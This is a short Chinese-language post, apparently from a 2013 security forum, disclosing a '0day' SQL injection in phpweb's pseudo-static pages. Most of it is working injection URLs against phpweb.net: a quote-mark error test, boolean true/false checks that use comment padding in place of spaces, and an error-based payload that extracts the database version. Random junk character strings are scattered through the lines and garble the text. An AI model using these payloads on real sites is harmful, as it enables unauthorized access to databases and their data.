phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

; w9 t% O+ s( j/ I4 _主站：http://phpweb.net/
/ E1 e5 n# H7 ^" t# j8 v加’检测：

http://www.phpweb.net/down/html/?772′.html

: _: {, p  _& y' _* g0 Z) e" K出错
5 X% n6 f. c7 l存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
* p; F3 k  w+ x8 \# F1 n
?
4 |: `; Q4 z; l  L1
$ R! }) l) a  j- o& X0 G9 d+ `, Qhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
; `) }# S' E9 Z$ Y: D: e; }4 E2 m更新日期: 2013-01-03 13:39:50        
9 r9 a( u5 N  j' x% e, E